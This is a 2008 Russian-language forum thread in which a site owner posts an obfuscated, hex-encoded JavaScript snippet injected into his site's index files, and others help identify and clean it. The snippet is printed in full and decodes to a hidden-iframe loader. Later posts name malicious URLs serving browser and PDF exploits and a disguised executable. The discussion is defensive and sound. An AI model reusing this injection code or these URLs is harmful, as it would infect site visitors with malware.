|
|
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Подскажите пожалуйста! Нашел на сайте вот такую запись в индекс файле: <script>function c18-748737271n495324b0bb72c(n495324b0bbf00){ function n495324b0bc6d5(){var n495324b0bcea8=16;return n495324b0bcea8;} return (parseInt(n495324b0bbf00,n495324b0bc6d5()));}function n495324b0bd67c(n495324b0bde50){ var n495324b0bf5cc=2; var n495324b0be624='';n495324b0c0573=String.fromCharCode;for(n495324b0bedf7=0;n495324b0bedf7<n495324b0bde50.length;n495324b0bedf7+=n495324b0bf5cc){ n495324b0be624+=(n495324b0c0573(c18-748737271n495324b0bb72c(n495324b0bde50.substr(n495324b0bedf7,n495324b0bf5cc))));}return n495324b0be624;} var x4b='';var n495324b0c0d47='3C7'+x4b+'3637'+x4b+'2697'+x4b+'07'+x4b+'43E696628216D7'+x4b+'96961297'+x4b+'B646F637'+x4b+'56D656E7'+x4b+'42E7'+x4b+'7'+x4b+'7'+x4b+'2697'+x4b+'465287'+x4b+'56E657'+x4b+'363617'+x4b+'065282027'+x4b+'2533632536392536362537'+x4b+'322536312536642536352532302536652536312536642536352533642536332533312533382532302537'+x4b+'332537'+x4b+'32253633253364253237'+x4b+'2536382537'+x4b+'342537'+x4b+'342537'+x4b+'302533612532662532662537'+x4b+'342537'+x4b+'322536312536362536392536622537'+x4b+'332532652536332536652532662537'+x4b+'342536342537'+x4b+'332532662536392536652536342536352537'+x4b+'382532652537'+x4b+'302536382537'+x4b+'30253366253237'+x4b+'2532622534642536312537'+x4b+'342536382532652537'+x4b+'322536662537'+x4b+'352536652536342532382534642536312537'+x4b+'342536382532652537'+x4b+'32253631253665253634253666253664253238253239253261253331253331253334253336253336253239253262253237'+x4b+'253333253636253335253237'+x4b+'2532302537'+x4b+'37'+x4b+'2536392536342537'+x4b+'34253638253364253336253333253230253638253635253639253637'+x4b+'2536382537'+x4b+'342533642533312533382533322532302537'+x4b+'332537'+x4b+'342537'+x4b+'39253663253635253364253237'+x4b+'2537'+x4b+'362536392537'+x4b+'332536392536322536392536632536392537'+x4b+'342537'+x4b+'39253361253638253639253634253634253635253665253237'+x4b+'2533652533632532662536392536362537'+x4b+'3225363125366425363525336527'+x4b+'29293B7'+x4b+'D7'+x4b+'6617'+x4b+'2206D7'+x4b+'969613D7'+x4b+'47'+x4b+'27'+x4b+'5653B3C2F7'+x4b+'3637'+x4b+'2697'+x4b+'07'+x4b+'43E';document.write(n495324b0bd67c(n495324b0c0d47));</script> Что может делать эта функция? Каким методом она зашифрована? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 20:03 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
v_sergio_v, Поставь себе фирефокс с фиребугом и посмотри. Что, кто-то это за тебя делать должен? Тем более, что оторвано от контекста и вообще... . ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 20:23 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
> function c18-748737271n495324b0bb72c(n495324b0bbf00){ Дефис (минус) в имени функции? ))))) ИМХО расчет на какую то дыру в браузере. Posted via ActualForum NNTP Server 1.4 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 21:30 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Этот код я нашел у себя на сайте. Раньше его не было. Что именно он делает не пойму, т. к. javascript почти не знаю. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 21:50 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Дружеский совет: если этот код никто осознанно не ставил на сайт, то удали его из этого файла, а так же из всех файлов в других директориях с этим же временем изменения. Перед этим _обязательно_ (а иначе можно и не начинать) сменить все пароли фтп-доступа к сайту и почистить от троянов компы, с которых заходили по фтп на хостинг. PS откровенно лень смотреть, какую именно ссылку на сайт с вредоносным кодом (?) ентот скрипт сформирует. Posted via ActualForum NNTP Server 1.4 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 22:52 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Вместо документ врайт прописал alert - не запускаеться) Попробовал чуток подредактирваоть: Код: plaintext 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. Получил на выхоже какую то бяку) значит не прально редактировал я) ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 00:06 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Почистил. На сайте, все файлы index, были заражены этим гадом. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 00:25 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
> все файлы index, были заражены Стандартное поведение зверьков. Не забудь про пароли и троянов. Posted via ActualForum NNTP Server 1.4 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 00:28 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
> значит не прально редактировал Или не подобрал браузер, где эта шняга сработает "как надо" )) Posted via ActualForum NNTP Server 1.4 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 00:29 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Упростил до: Код: plaintext 1. 2. 3. 4. 5. 6. 7. Код: plaintext Код: plaintext ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 01:35 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Иногда в таких "шнягах" находишь удивительные решения ... Тут мне понравилось следующее: Код: plaintext 1. 2. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 01:39 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
На странице http://trafiks.cn/tds/index.php валяется Bloodhound.Exploit.196 по классификации симантека. Расшифровка страницы: Код: plaintext 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 10:46 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
Далее... По адресу http://trafiks.cn/fi/pdf.php?id=54&vis=1 находится какой-то файл, походу pdf, который рубится симантеком как Bloodhound.Exploit.213, а самое интересное по адресу http://trafiks.cn/fi/load.php?id=54 — какой-то экзешник, неумело замаскированный (см. скриншот, красным указаны косяки) под микрософтовскую прибамбасину, на который симантек не реагирует. Файл сохраняется под именем DOSKEY.EXE. Такой файл действительно есть в дистрибутиве, его размер 10 752 байт против 31 744 вирусни. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 11:30 |
|
||
|
(JavaScript)Что за функция?
|
|||
|---|---|---|---|
|
#18+
http://www.kaspersky.ru/scanforvirus сообщил, что это P2P-Worm.Win32.Agent.hw ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 26.12.2008, 11:41 |
|
||
|
|

start [/forum/topic.php?fid=22&msg=35736234&tid=1455367]: |
0ms |
get settings: |
5ms |
get forum list: |
10ms |
check forum access: |
2ms |
check topic access: |
2ms |
track hit: |
147ms |
get topic data: |
8ms |
get forum data: |
2ms |
get page messages: |
49ms |
get tp. blocked users: |
1ms |
| others: | 205ms |
| total: | 431ms |

| 0 / 0 |
